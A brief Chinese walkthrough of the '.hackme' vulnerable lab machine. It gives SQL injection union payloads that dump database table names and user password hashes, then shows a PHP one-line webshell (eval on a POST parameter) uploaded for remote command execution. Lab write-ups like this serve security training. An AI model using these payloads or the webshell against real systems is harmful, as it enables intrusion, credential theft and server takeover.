本文主要是介绍.hackme靶机通关攻略，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
第一步查找ip
通过御剑扫描到IP进入尝试
成功找到靶场
步骤二来到这个靶场注册登录
进来点一下提交出来书名
只有一个框框那就来试试sql注入
1’ and 1=2 --+
然后查看数据库
-1' union select database(),2,3 #
查看数据库表名
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='webapphacking' #
这里查看users表的用户和密码
-1' union select group_concat(user),group_concat(pasword),3 from users#
可以看到密码是加密后的拿到密码进行解密
（这里我用的superadmin用户）
回去登录进去看见有个上传文件的地方
上传一句话木马 <?php phpinfo();eval($_POST['cmd']);?> 写入1.php上传后去看它的目录里边有没有
有就说明写进去了然后去连接webshell
这篇关于.hackme靶机通关攻略的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
